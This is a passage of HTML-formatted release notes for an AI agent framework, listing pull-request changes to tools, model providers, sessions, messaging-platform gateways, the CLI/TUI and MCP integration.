<li><strong><code>search_files</code> lossless densification</strong> — headroom evaluation report + the one densification improvement worth shipping (fewer tokens per result, same matches) (<a href="https://github.com/NousResearch/hermes-agent/pull/47866" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47866/hovercard">#47866</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Removed the agent-callable <code>send_message</code> tool; coding-context posture across CLI/TUI/desktop/ACP; <code>read_file</code> extracts <code>.ipynb</code>/<code>.docx</code>/<code>.xlsx</code> to text (<a href="https://github.com/NousResearch/hermes-agent/pull/47856" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47856/hovercard">#47856</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43316" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43316/hovercard">#43316</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/37082" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/37082/hovercard">#37082</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Context-file handling: configurable truncation limit + warnings; scale context-file cap to model window + point agent at the truncated file (<a href="https://github.com/NousResearch/hermes-agent/pull/47251" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47251/hovercard">#47251</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47846" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47846/hovercard">#47846</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Compression: temporal anchoring in compaction summaries; raise compaction trigger to 85% for gpt-5.5 on Codex OAuth (<a href="https://github.com/NousResearch/hermes-agent/pull/41102" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41102/hovercard">#41102</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40957" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40957/hovercard">#40957</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Adaptive middleware (consumed by NeMo-Relay observer telemetry); usable mid-turn steer — desktop affordance + trusted injection (<a href="https://github.com/NousResearch/hermes-agent/pull/29724" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29724/hovercard">#29724</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40240" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40240/hovercard">#40240</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Provider &amp; model support</h3>
<ul>
<li>New models: <code>z-ai/glm-5.2</code> (verified 1M context, OpenRouter + Nous), <code>anthropic/claude-fable-5</code>, <code>laguna-m.1</code> + <code>nemotron-3-ultra</code>, xAI Composer 2.5 in the OAuth picker; default xAI to <code>grok-build-0.1</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/47391" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47391/hovercard">#47391</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45695" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45695/hovercard">#45695</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42979" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42979/hovercard">#42979</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42629" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42629/hovercard">#42629</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47908" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47908/hovercard">#47908</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47371" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47371/hovercard">#47371</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Model picker: Refresh-Models control to bust stale cache; persist Nous recommended-models to disk + fall back on Portal failure; seed catalog disk cache from checkout on update; MiniMax-M3 reports true 1M context (<a href="https://github.com/NousResearch/hermes-agent/pull/48691" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48691/hovercard">#48691</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42628" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42628/hovercard">#42628</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42614" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42614/hovercard">#42614</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43338" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43338/hovercard">#43338</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Anthropic adaptive models: default to modern thinking contract; never send <code>reasoning</code> field; route <code>reasoning_effort</code> to verbosity; require confirmation for very expensive selections (<a href="https://github.com/NousResearch/hermes-agent/pull/42991" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42991/hovercard">#42991</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43012" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43012/hovercard">#43012</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43436" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43436/hovercard">#43436</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43391" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43391/hovercard">#43391</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Auth: auto-detect OpenRouter credential from the pool; keep Codex OAuth pool accounts distinct on add/re-auth; resolve xAI OAuth across profiles + write rotated tokens back to root; honor <code>model.default_headers</code> for custom OpenAI-compatible providers (<a href="https://github.com/NousResearch/hermes-agent/pull/42263" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42263/hovercard">#42263</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42316" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42316/hovercard">#42316</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/46614" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46614/hovercard">#46614</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41096" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41096/hovercard">#41096</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Bedrock falls back to non-streaming <code>InvokeModel</code> when IAM denies the streaming variant; Ollama default <code>max_tokens=65536</code>; surface model refusals as <code>content_filter</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/44293" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44293/hovercard">#44293</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41694" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41694/hovercard">#41694</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/46013" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46013/hovercard">#46013</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Sessions, state &amp; multi-agent</h3>
<ul>
<li>Optional <strong>max session cap</strong>; drop empty sessions on CLI exit and rotation; ACP session-provenance metadata for compression rotation (<a href="https://github.com/NousResearch/hermes-agent/pull/42389" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42389/hovercard">#42389</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43855" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43855/hovercard">#43855</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41724" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41724/hovercard">#41724</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Delegation: resolve custom-endpoint subagent pools by endpoint identity; remove the default subagent wall-clock timeout; stop subagent completion lines leaking into parent CLI display (<a href="https://github.com/NousResearch/hermes-agent/pull/41730" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41730/hovercard">#41730</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45149" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45149/hovercard">#45149</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44223" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44223/hovercard">#44223</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Kanban: config-gated auto-subscribe on <code>kanban_create</code>; machine-global singleton lock for the embedded dispatcher; pin assigned profile toolsets for workers; hold reclaim while worker still alive (<a href="https://github.com/NousResearch/hermes-agent/pull/48635" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48635/hovercard">#48635</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49068" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49068/hovercard">#49068</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45590" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45590/hovercard">#45590</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49064" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49064/hovercard">#49064</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Memory: configurable Hindsight retain observation scopes; OpenViking setup UX; Honcho gateway-gated identity tree; Supermemory session-level ingest (<a href="https://github.com/NousResearch/hermes-agent/pull/46611" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46611/hovercard">#46611</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/48262" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48262/hovercard">#48262</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44431" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44431/hovercard">#44431</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/38756" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/38756/hovercard">#38756</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>)</li>
</ul>
<h2>📱 Messaging Platforms (Gateway)</h2>
<h3>New channels</h3>
<ul>
<li><strong>iMessage via Photon Spectrum</strong> — <code>hermes photon login</code> (device-code OAuth), gRPC-native channel (no webhook), markdown rendering, emoji reactions, outbound media via spectrum-ts (<a href="https://github.com/NousResearch/hermes-agent/pull/32348" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32348/hovercard">#32348</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42582" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42582/hovercard">#42582</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44713" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44713/hovercard">#44713</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42397" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42397/hovercard">#42397</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>WhatsApp Business Cloud API</strong> adapter (official, no bridge process) (<a href="https://github.com/NousResearch/hermes-agent/pull/44331" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44331/hovercard">#44331</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43921" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43921/hovercard">#43921</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jquesnelle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jquesnelle">@jquesnelle</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>SimpleX</strong> — groups, native attachments, text batching, auto-accept; <strong>Raft</strong> bundled platform plugin with activity hooks (<a href="https://github.com/NousResearch/hermes-agent/pull/42584" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42584/hovercard">#42584</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/48210" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48210/hovercard">#48210</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Gateway core &amp; rendering</h3>
<ul>
<li>Render terminal tool calls as native bash code blocks on markdown platforms; bare fenced code blocks in chat; optional message timestamps for LLM context; configurable <code>tool_progress_grouping</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/41215" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41215/hovercard">#41215</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42576" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42576/hovercard">#42576</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47253" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47253/hovercard">#47253</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47228" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47228/hovercard">#47228</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Telegram: Bot API 10.1 rich messages (now always-on with opt-out); opt-in Online/Offline bot status indicator; stop cutting long streamed responses; MarkdownV2 on progress edits; gate oversized voice/audio before download (<a href="https://github.com/NousResearch/hermes-agent/pull/44829" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44829/hovercard">#44829</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45584" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45584/hovercard">#45584</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49134" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49134/hovercard">#49134</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43761" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43761/hovercard">#43761</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44245" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44245/hovercard">#44245</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Discord: propagate <code>role_authorized</code> so <code>DISCORD_ALLOWED_ROLES</code> works end-to-end; recover from runtime gateway task exits; cancel <code>_bot_task</code> on connect failure; stop typing after replies (<a href="https://github.com/NousResearch/hermes-agent/pull/43327" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43327/hovercard">#43327</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44383" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44383/hovercard">#44383</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44432" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44432/hovercard">#44432</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44836" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44836/hovercard">#44836</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Slack: scope top-level channel messages when <code>reply_in_thread=false</code>; thread approval UX (block-size overflow + typed-prefix); make video attachments available to agents; <code>register_slack_action_handler</code> plugin API (<a href="https://github.com/NousResearch/hermes-agent/pull/41703" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41703/hovercard">#41703</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43444" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43444/hovercard">#43444</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45512" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45512/hovercard">#45512</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44664" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44664/hovercard">#44664</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Replied-to media attachments included; document attachments classified as DOCUMENT on Signal/Email/SimpleX/Teams; WhatsApp restarts stale bridge processes; Matrix room-context isolation; QQbot CPU-spin fix; Weixin rate-limit circuit breaker (<a href="https://github.com/NousResearch/hermes-agent/pull/46107" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46107/hovercard">#46107</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44695" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44695/hovercard">#44695</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44205" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44205/hovercard">#44205</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/18505" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/18505/hovercard">#18505</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40574" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40574/hovercard">#40574</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41718" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41718/hovercard">#41718</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/banditburai/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/banditburai">@banditburai</a>)</li>
</ul>
<h2>🖥️ CLI, TUI &amp; Setup</h2>
<ul>
<li><code>/version</code> slash command; <code>/billing</code> interactive terminal billing (TUI + CLI); show time since last final agent response on the status bar; persist resolved approval/clarify prompts in scrollback (<a href="https://github.com/NousResearch/hermes-agent/pull/40214" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40214/hovercard">#40214</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45449" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45449/hovercard">#45449</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44265" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44265/hovercard">#44265</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44702" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44702/hovercard">#44702</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Lock hermes worktrees so concurrent processes can't clobber them; display custom profile alias names in list/show; clone profiles from any source (<a href="https://github.com/NousResearch/hermes-agent/pull/48699" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48699/hovercard">#48699</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40371" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40371/hovercard">#40371</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45630" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45630/hovercard">#45630</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Opt-in structured profile-build path on first contact; configurable per-platform system-prompt hints; configurable background memory/skill notifications (<a href="https://github.com/NousResearch/hermes-agent/pull/41114" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41114/hovercard">#41114</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/48630" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48630/hovercard">#48630</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47226" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47226/hovercard">#47226</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>TUI: interactive Plugins Hub enable/disable overlay; session name in the terminal titlebar; paint approval/clarify/sudo/secret modals directly (not via throttle); wrap long approval commands instead of truncating (<a href="https://github.com/NousResearch/hermes-agent/pull/42965" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42965/hovercard">#42965</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43188" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43188/hovercard">#43188</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41155" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41155/hovercard">#41155</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44691" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44691/hovercard">#44691</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>TTS: Gemini persona prompts + audio tags; xAI auto speech tags + speed/streaming knobs; Piper speaker_id; OGG for Telegram auto-TTS (<a href="https://github.com/NousResearch/hermes-agent/pull/43442" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43442/hovercard">#43442</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49061" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49061/hovercard">#49061</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49062" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49062/hovercard">#49062</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49060" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49060/hovercard">#49060</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41644" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41644/hovercard">#41644</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>🔧 Tool System, Skills &amp; MCP</h2>
<ul>
<li><strong>image-to-image / editing</strong> in <code>image_generate</code> across all backends; shrink images to provider dimension limit (<a href="https://github.com/NousResearch/hermes-agent/pull/48705" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48705/hovercard">#48705</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45979" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45979/hovercard">#45979</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>MCP: official <strong>Unreal Engine 5.8</strong> MCP server in the catalog; <strong>elicitation handler</strong> so MCP servers can prompt for mid-tool-call confirmation (payment/OAuth) on whichever surface owns the session — CLI/TUI/Telegram/Slack; expose late-connecting MCP tools to the agent between turns (cache-safe); keepalive ping for short-TTL HTTP sessions; block exfil-shaped / suspicious stdio configs before probe; capability-gate <code>tools/list</code> so prompt-only servers connect; preserve stdio argv passthrough + Windows env vars (<a href="https://github.com/NousResearch/hermes-agent/pull/48397" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48397/hovercard">#48397</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49203" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49203/hovercard">#49203</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49208" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49208/hovercard">#49208</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49221" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49221/hovercard">#49221</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/46083" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46083/hovercard">#46083</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44550" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44550/hovercard">#44550</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44324" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44324/hovercard">#44324</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lgalabru/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lgalabru">@lgalabru</a>)</li>
